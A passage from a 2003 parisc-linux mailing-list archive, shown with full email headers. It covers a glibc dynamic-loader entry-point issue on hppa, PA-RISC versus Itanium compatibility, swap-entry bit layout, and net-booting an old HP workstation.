This is the Entry point address from the ld.so library on i386:
---------------------------------------------------------------
rbrad@beavis:~glibc-2.3.1/i386-linux/obj/elf$ readelf -a ld.so | grep
Entry
  Entry point address:               0xb10



The i386 library makes sense to me: the bootstrap_map.l_addr + the
_start == the user_entry point. On hppa, this is not true, and I 
do not understand why.  The reason why this works when the AT_ENTRY
aux header is not added is because the user_entry defaults to
ENTRY_POINT, and is modified iff the aux AT_ENTRY header is present.
[Note: this code is at:
   glibc-2.3.1/sysdeps/generic/dl-sysdep.c:_dl_sysdep_start()]


Is there a bug in the dynamic loader for hppa that doesn't load the 
address at load_address + _start?  Or can someone explain why there
is an additional 0x25172 byte offset for the entry point? 

I will keep digging around and see what I can dig up, but without
understanding how the dynamic loader works, I feel pretty blind.

Thanks,

- Ryan

P.S. Please cc me on any responses... I am not subscribed to this
list.


-- 
Ryan Bradetich <rbradetich@uswest.net>



From - Thu Nov 08 21:27:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Schwab <schwab@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /lib/ld.so.1 (glibc) issues on parisc-linux 2.5
 kernel??
Date: Mon, 24 Mar 2003 10:48:06 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <jeptohumcp.fsf__5590.00319703973$1416622322$gmane$org@sykes.suse.de>
References: <1048493134.8777.22.camel@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622322 23585 80.91.229.3 (22 Nov 2014 02:12:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:02 +0000 (UTC)
Cc: libc-alpha@sources.redhat.com,
	parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 24 02:48:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from Cantor.suse.de (ns.suse.de [213.95.15.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30A1D482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Mar 2003 02:48:13 -0700 (MST)
Original-Received: from Hermes.suse.de (Hermes.suse.de [213.95.15.136])
	by Cantor.suse.de (Postfix) with ESMTP
	id F287414650; Mon, 24 Mar 2003 10:48:06 +0100 (MET)
X-Yow: Does that mean I'm not a well-adjusted person??
In-Reply-To: <1048493134.8777.22.camel@beavis.ybsoft.com> (Ryan Bradetich's
 message of "24 Mar 2003 01:05:34 -0700")
User-Agent: Gnus/5.090016 (Oort Gnus v0.16) Emacs/21.3.50 (gnu/linux)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18050

Ryan Bradetich <rbradetich@uswest.net> writes:

|> Hello again,
|> 
|> I have been working on tracking this down some more, and I think I found
|> something odd.  I just wanted to verify this is an anomaly (and
|> potentially the problem) or if this is the correct behavior, understand
|> why.
|> 
|> 
|> I am starting to think the kernel is doing the correct thing and
|> glibc is causing the problem ... based on debug output from i386
|> and just my general understanding (or lack of understanding :))
|> of the elf file format.
|> 
|> The bootstrap_map.l_addr was printed using _dl_debug_printf right
|> after the following line in glibc-2.3.1/elf/rtld.c:
|> 
|> 	      ELF_DYNAMIC_RELOCATE (&bootstrap_map, 0, 0);
|> 
|> The ENTRY_POINT, _start, and user_entry line was added as the first
|> line of code in the function dl_main in glibc-2.3.1/elf/rtld.c.
|> 
|> This is the debug output on hppa:
|> ---------------------------------
|> rbrad@vega:~/glibc-2.3.1/hppa-linux/obj/elf$ ./ld.so --verify /bin/sh
|> 
|> 05626:  bootstrap_map.l_addr: 41000000
|> 05626:  ENTRY_POINT: 41027162 _start: 41027162 user_entry: 41001ff0

hppa is using function descriptors, AFAIK.  So you'll have to do something
similar to what ia64 and ppc64 are doing.

Andreas.

-- 
Andreas Schwab, SuSE Labs, schwab@suse.de
SuSE Linux AG, Deutschherrnstr. 15-19, D-90429 Nrnberg
Key fingerprint = 58CA 54C7 6D53 942B 1756  01D3 44D5 214B 8276 4ED5
"And now for something completely different."


From - Thu Nov 08 21:27:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [Linux-ia64] Linux, Itanium and PA/RISC
Date: Mon, 24 Mar 2003 12:10:37 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20030324121037.GI31008__31693.2987924249$1416622322$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <001f01c2f1f1$e772d4b0$6620a4d5@tsatec.int>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622322 23589 80.91.229.3 (22 Nov 2014 02:12:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:02 +0000 (UTC)
Cc: linux-ia64@linuxia64.org, parisc-linux@parisc-linux.org
To: Adriano Galano <adriano@satec.es>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 24 05:10:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A399482A
	for <parisc-linux@parisc-linux.org>; Mon, 24 Mar 2003 05:10:39 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 18xQmj-00034x-Pn; Mon, 24 Mar 2003 12:10:37 +0000
Content-Disposition: inline
In-Reply-To: <001f01c2f1f1$e772d4b0$6620a4d5@tsatec.int>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18051

On Mon, Mar 24, 2003 at 11:41:18AM +0100, Adriano Galano wrote:
> Hi all:
> 
> I read that IA-64 support PA-RISC instruction mapping. That's mean that I
> can use Linux for PA/RISC (http://www.parisc-linux.org/) in a Itanium 2
> computer?

No.  You certainly can't run a PA-RISC kernel on an IA64 box, just like
you can't run an x86 kernel on an ia64 box.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Adriano Galano" <adriano@satec.es>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: [Linux-ia64] Linux, Itanium and PA/RISC
Date: Mon, 24 Mar 2003 13:23:32 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <003901c2f200$2fb2e450$6620a4d5__37285.0775406279$1416622322$gmane$org@tsatec.int>
References: <20030324121037.GI31008@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622322 23596 80.91.229.3 (22 Nov 2014 02:12:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:02 +0000 (UTC)
Cc: <linux-ia64@linuxia64.org>, <parisc-linux@parisc-linux.org>
To: "'Matthew Wilcox'" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 24 05:24:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from donlimpio.satec.es (donlimpio.satec.es [213.164.38.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id AABF9482A
	for <parisc-linux@parisc-linux.org>; Mon, 24 Mar 2003 05:24:39 -0700 (MST)
Original-Received: from adriano (localhost [127.0.0.1])
	by donlimpio.satec.es (8.11.6/8.11.6) with SMTP id h2OEQiF22330;
	Mon, 24 Mar 2003 15:26:44 +0100
X-Authentication-Warning: donlimpio.satec.es: iscan owned process doing -bs
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
In-Reply-To: <20030324121037.GI31008@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18052

Hi Matthew and *:

> On Mon, Mar 24, 2003 at 11:41:18AM +0100, Adriano Galano wrote:
> > Hi all:
> >
> > I read that IA-64 support PA-RISC instruction mapping.
> That's mean that I
> > can use Linux for PA/RISC (http://www.parisc-linux.org/) in
> a Itanium 2
> > computer?
>
> No.  You certainly can't run a PA-RISC kernel on an IA64 box,
> just like
> you can't run an x86 kernel on an ia64 box.
>

Sorry for my newbie questions but:

If IPF support PA-RISC mapping is not easy to "port" the PA/RISC Linux,
excluding architectural changes in the chipset or booting process?

How HP/UX v 11.6 could be offer compatibility between PA/RISC and Itanium 2
systems?

How "exact" is the PA-RISC mapping on the IA-64 core?


> --
> "It's not Hollywood.  War is real, war is primarily not about
> defeat or
> victory, it is about death.  I've seen thousands and
> thousands of dead bodies.
> Do you think I want to have an academic debate on this
> subject?" -- Robert Fisk

Regards,

-Adriano (bryam)
--
Adriano M. Galano Diez
System & Network Engineer
http://www.satec.es
Phone: (+34) 917 089 000
Sourceforge.NET Linux Kernel Foundry Guide http://sf.net/foundry/linuxkernel




From - Thu Nov 08 21:27:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [Linux-ia64] Linux, Itanium and PA/RISC
Date: Mon, 24 Mar 2003 12:50:32 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <20030324125032.GK31008__14784.5946172767$1416622322$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20030324121037.GI31008@parcelfarce.linux.theplanet.co.uk> <003901c2f200$2fb2e450$6620a4d5@tsatec.int>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622322 23601 80.91.229.3 (22 Nov 2014 02:12:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:02 +0000 (UTC)
Cc: 'Matthew Wilcox' <willy@debian.org>, linux-ia64@linuxia64.org,
	parisc-linux@parisc-linux.org
To: Adriano Galano <adriano@satec.es>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 24 05:50:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B8E15482A
	for <parisc-linux@parisc-linux.org>; Mon, 24 Mar 2003 05:50:33 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 18xRPM-0003Z1-My; Mon, 24 Mar 2003 12:50:32 +0000
Content-Disposition: inline
In-Reply-To: <003901c2f200$2fb2e450$6620a4d5@tsatec.int>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18053

On Mon, Mar 24, 2003 at 01:23:32PM +0100, Adriano Galano wrote:
> If IPF support PA-RISC mapping is not easy to "port" the PA/RISC Linux,
> excluding architectural changes in the chipset or booting process?

Why would you want to?  ia64 already has its own perfectly good Linux port.

> How HP/UX v 11.6 could be offer compatibility between PA/RISC and Itanium 2
> systems?

That's `11i v1.6'.  Quoting from
http://www.hp.com/products1/unix/operating/choice/hp-ux11i_details.html

	PA-RISC binary compatibility

  HP-UX 11i version 1.6 includes the Aries dynamic code translation
  technology as an integrated component. Aries is built on the close
  relationship between the PA-RISC and Intel Itanium instruction sets
  and provides binary compatibility for PA-RISC binaries on the Itanium
  processor family. Aries can be used where performance is not critical
  or where it is not possible to create a native Itanium processor
  family binary.

> How "exact" is the PA-RISC mapping on the IA-64 core?

Not particularly close.  If you look at the assembly language level,
there's a lot of similarities, but there's a lot of differences too.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [akpm@digeo.com: arch changes for file-offset-in-pte's]
Date: Mon, 24 Mar 2003 06:28:07 -0700 (MST)
Lines: 32
Approved: news@gmane.org
Message-ID: <200303241328.GAA02336@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622323 23603 80.91.229.3 (22 Nov 2014 02:12:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 24 06:28:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6EA5482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Mar 2003 06:28:08 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel9.hp.com (Postfix) with ESMTP id D95711C00AF3
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Mar 2003 08:28:07 -0500 (EST)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_26305+JAGae58098)/8.9.3 SMKit7.01) id GAA02336
	for parisc-linux@lists.parisc-linux.org; Mon, 24 Mar 2003 06:28:07 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18054

> FYI.  jsm, any comments?

It doesn't appear to be a problem, since the bit comes out of the swap
entry bits, not the "present" bits, which we don't have any more available
(e.g. _PAGE_FILE can overload _PAGE_ACCESSED, since _PAGE_ACCESSED is
only valid when _PAGE_PRESENT is set).

The main issue is whether to take the bit out of the swap offset or swap
type. i386 went from 24 offset bits and 6 type bits to 24 offset bits and
5 type bits, i.e. they took the bit from the type field. We are currently
at 25 offset bits and 5 type bits.

The offset bits control the maximum swap size for each swap device. The
type bits control the number of possible swap devices. So, one possibility
is to reduce the number of possible swap devices from 32 to 16, rather
than decrease the maximum swap size. But, perhaps since limiting the
maximum swap size would only really have an effect on the 32 bit kernel,
perhaps it would better to leave the maximum number of swap devices at
32 and decrease the maximum swap size (i.e. the maximum swap size
for a swap device would decrease from 128 Gb to 64 Gb for a 32 bit
kernel). This would be the same as i386.

Another possibility would be to split out the SWP_TYPE, SWP_OFFSET
and SWP_ENTRY macros in order to have a 32 bit kernel version and a
64 bit kernel version. Then we could go with 16 swap devices for the
32 bit kernel and even increase the number of swap devices for the
64 bit kernel, since we have a huge number of bits for the offset.

Any opinions?

John


From - Thu Nov 08 21:27:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Schaber <markus.schaber@student.uni-ulm.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Out of memory problem
Date: Mon, 24 Mar 2003 18:59:58 +0100
Organization: =?ISO-8859-1?Q?Universit=E4t?= Ulm
Lines: 35
Approved: news@gmane.org
Message-ID: <20030324185958.307d033c.markus.schaber@student.uni-ulm.de>
References: <20030321000822.6a0123e0.markus@schabi.de>
	<20030321065534.GA21566@dsl2.external.hp.com>
	<20030321092201.5dcedd9f.markus.schaber@student.uni-ulm.de>
	<20030321170502.GA8719@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622323 23612 80.91.229.3 (22 Nov 2014 02:12:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 24 11:00:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.rz.uni-ulm.de (gemini.rz.uni-ulm.de [134.60.246.16])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3DB87482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Mar 2003 11:00:04 -0700 (MST)
Original-Received: from lunix.haselbuehl.de (p62.246.140.194.tisdip.tiscali.de [62.246.140.194])
	by mail.rz.uni-ulm.de (8.12.8/8.12.8) with ESMTP id h2OI004P021094
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Mon, 24 Mar 2003 19:00:01 +0100 (MET)
In-Reply-To: <20030321170502.GA8719@dsl2.external.hp.com>
X-Mailer: Sylpheed version 0.8.11claws2 (GTK+ 1.2.10; i686-pc-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18055

H3llo,

grundler@dsl2.external.hp.com (Grant Grundler) schrieb:

> > Maybe I'll see whether I can upgrade the machine with more memory...
> that would be a good idea - even for proof of concept.

Do you know a good source to get cheap memory modules for such an old
machine? I'll have a look at ebay...

> > I was there and didn't find a pre-build net-boot image that uses NFS
> > root [...]
> 
> The Net install ISOs are what you want. See
> 	http://www.parisc-linux.org/software/install.html

But as this are ISO files, I need to attach a CD drive, and I don't have
an external SCSI drive lying around. I also doubt I'll find any IDE port
inside my Apollo. That's why I looked for a net-boot image.

I have a floppy drive built in, but on the debian-pa web site I read
that floppy boot is not supported on parisc.

You see, I got this machine for free more than a year ago when our
University put it out of order, and now I just wanted to play a bit with
it. The HPUX installation seems to be severely damaged, and so I wanted
to try linux. I don't mind to put some time into this game, but I don't
want to buy much additional hardware.

PS: I subscribed to the parisc-linux list, so you all don't have to Cc:
me.

Thanks,
Markus


From - Thu Nov 08 21:27:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Out of memory problem
Date: Mon, 24 Mar 2003 19:33:28 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <1B0823D5-5E27-11D7-B738-0030656F07A2@esiee.fr>
References: <20030324185958.307d033c.markus.schaber@student.uni-ulm.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622323 23618 80.91.229.3 (22 Nov 2014 02:12:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Markus Schaber <markus.schaber@student.uni-ulm.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 24 11:33:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8155482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Mar 2003 11:33:30 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 11D7D49C21; Mon, 24 Mar 2003 19:33:29 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 480B149BEB; Mon, 24 Mar 2003 19:33:28 +0100 (CET)
In-Reply-To: <20030324185958.307d033c.markus.schaber@student.uni-ulm.de>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18056

Le lundi, 24 mar 2003, =E0 18:59 Europe/Paris, Markus Schaber a =E9crit =
:

> H3llo,
>
>>> I was there and didn't find a pre-build net-boot image that uses NFS
>>> root [...]
>>
>> The Net install ISOs are what you want. See
>> 	http://www.parisc-linux.org/software/install.html
>
> But as this are ISO files, I need to attach a CD drive, and I don't=20
> have
> an external SCSI drive lying around. I also doubt I'll find any IDE=20
> port
> inside my Apollo. That's why I looked for a net-boot image.
there are lifimages as well.
you can also get them here:
http://pateam.esiee.fr/cd-images/lifimages/

fwiw, reading the PA-RISC/Linux Boot HOWTO would have told you about=20
them.


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/=




From - Thu Nov 08 21:27:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /lib/ld.so.1 (glibc) issues on parisc-linux 2.5 kernel??
Date: Mon, 24 Mar 2003 11:44:47 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20030324184447.GA26572__47553.4569625326$1416622324$gmane$org@uswest.net>
References: <1048493134.8777.22.camel@beavis.ybsoft.com> <jeptohumcp.fsf@sykes.suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622324 23622 80.91.229.3 (22 Nov 2014 02:12:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:04 +0000 (UTC)
Cc: libc-alpha@sources.redhat.com,
	parisc-linux@lists.parisc-linux.org
To: Andreas Schwab <schwab@suse.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 24 11:44:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id F109D482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Mar 2003 11:44:47 -0700 (MST)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 26F9B2B109; Mon, 24 Mar 2003 11:44:47 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <jeptohumcp.fsf@sykes.suse.de>
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
